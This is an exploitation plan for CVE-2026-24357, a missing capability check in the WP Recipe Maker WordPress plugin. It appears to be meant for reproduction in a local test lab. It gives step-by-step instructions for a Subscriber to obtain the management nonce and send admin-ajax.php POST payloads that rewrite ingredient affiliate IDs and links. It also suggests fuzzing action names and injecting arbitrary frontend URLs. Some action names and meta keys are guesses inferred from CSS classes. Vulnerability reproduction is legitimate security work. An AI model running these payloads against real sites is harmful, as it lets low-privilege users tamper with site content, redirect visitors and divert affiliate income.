Exploitation Research Plan - CVE-2026-24357

1. Vulnerability Summary

The WP Recipe Maker plugin (<= 10.2.4) contains a missing authorization vulnerability in its taxonomy management AJAX handlers. Specifically, the plugin fails to perform a capability check (e.g., current_user_can('manage_options')) on functions used to update metadata for ingredients, units, and collections. This allows an authenticated attacker with Subscriber-level permissions to modify ingredient links, affiliate associations (EAFL), and unit groupings, which are intended to be administrative tasks.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wprm_manage_taxonomies_save_eafl (inferred from CSS classes like .wprm-manage-ingredients-eafl-container) or wprm_manage_taxonomies_save_links.
• Method: POST
• Payload Parameters:
  • action: wprm_manage_taxonomies_save_eafl
  • taxonomy: wprm_ingredient
  • term_id: The ID of the ingredient to modify.
  • eafl_id: The Easy Affiliate Links ID to associate with the ingredient.
  • security: A valid nonce (see Section 4).
• Authentication: Authenticated (Subscriber or higher).
• Preconditions: The plugin must have at least one ingredient (taxonomy term) created.

3. Code Flow

1. Entry Point: The plugin registers AJAX handlers in a management class (likely includes/admin/manage/class-wprm-manage-taxonomies.php).

   add_action( 'wp_ajax_wprm_manage_taxonomies_save_eafl', array( $this, 'ajax_save_eafl' ) );
   

2. Vulnerable Function: The ajax_save_eafl function (and similar functions like ajax_save_links) is called.
3. Missing Check: The function checks the nonce using check_ajax_referer( 'wprm_manage_taxonomies', 'security' ) but fails to call current_user_can() to verify the user has administrative privileges.
4. Data Sink: The function calls update_term_meta() to save the eafl_id or link data to the database based on the provided term_id.

4. Nonce Acquisition Strategy

The nonce for taxonomy management is typically localized in the wprm_manage_taxonomies JavaScript object. While the "Manage" page is for admins, WP Recipe Maker often enqueues its core management scripts on any page where a recipe-related shortcode or the "User Menu" is present.

Acquisition Steps:

1. Identify Script Loading: The script wp-recipe-maker-manage-taxonomies is likely responsible.
2. Create Trigger Page: Create a page containing a WPRM shortcode that loads common scripts, such as the Recipe Submission form or Collections.

   wp post create --post_type=page --post_title="Member Area" --post_status=publish --post_content='[wprm-recipe-submission]'
   

3. Browser Navigation: Navigate to this page as a Subscriber.
4. Extract Nonce: Use browser_eval to extract the security token:

   // Recommended JavaScript to extract the nonce
   window.wprm_manage_taxonomies?.security || window.wprm_admin?.nonce
   

   Note: From assets/css/admin/manage/taxonomies.scss, the specific "manage" context suggests the localization key is likely wprm_manage_taxonomies.

5. Exploitation Strategy

Step 1: Discover Target ID

Identify an existing ingredient ID using WP-CLI (for test setup) or by observing frontend recipe links.

Step 2: Acquire Nonce

Follow the strategy in Section 4 to get the wprm_manage_taxonomies nonce as a Subscriber.

Step 3: Execute Modification

Send a POST request to update an ingredient's affiliate link (EAFL ID).

Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=wprm_manage_taxonomies_save_eafl&taxonomy=wprm_ingredient&term_id=123&eafl_id=9999&security=[NONCE]
  

6. Test Data Setup

1. Create an Ingredient:

   wp term create wprm_ingredient "Test Ingredient" --description="Original Description"
   

   Take note of the returned Term ID (e.g., 123).
2. Create a Subscriber User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Create the Nonce Extraction Page:

   wp post create --post_type=page --post_status=publish --post_content='[wprm-recipe-submission]'
   

7. Expected Results

• HTTP Response: The server should return a 200 OK status, likely with a JSON body containing {"success":true}.
• Data Change: The metadata for the specified term_id in the wprm_ingredient taxonomy will be updated with the new eafl_id.

8. Verification Steps

1. Check Term Meta: Use WP-CLI to verify the eafl_id was changed to the attacker-supplied value.

   wp term meta get [TERM_ID] wprm_ingredient_eafl_id
   

   (The meta key wprm_ingredient_eafl_id is inferred from the CSS class .wprm-manage-ingredients-eafl-details).
2. Check Links: Similarly, verify link changes:

   wp term meta get [TERM_ID] wprm_ingredient_links
   

9. Alternative Approaches

If wprm_manage_taxonomies_save_eafl is not the exact action name:

• Fuzz Actions: Look for other variations of the "Manage" actions like wprm_save_ingredient_eafl or wprm_update_ingredient_metadata.
• Link Modification: Use action=wprm_manage_taxonomies_save_links with a links parameter (JSON string) to inject arbitrary URLs into the ingredient's metadata, which would be rendered on the frontend.
• Unit Grouping: Attempt to modify ingredient units via action=wprm_manage_taxonomies_save_units (inferred from .wprm-manage-ingredient-units-group-container).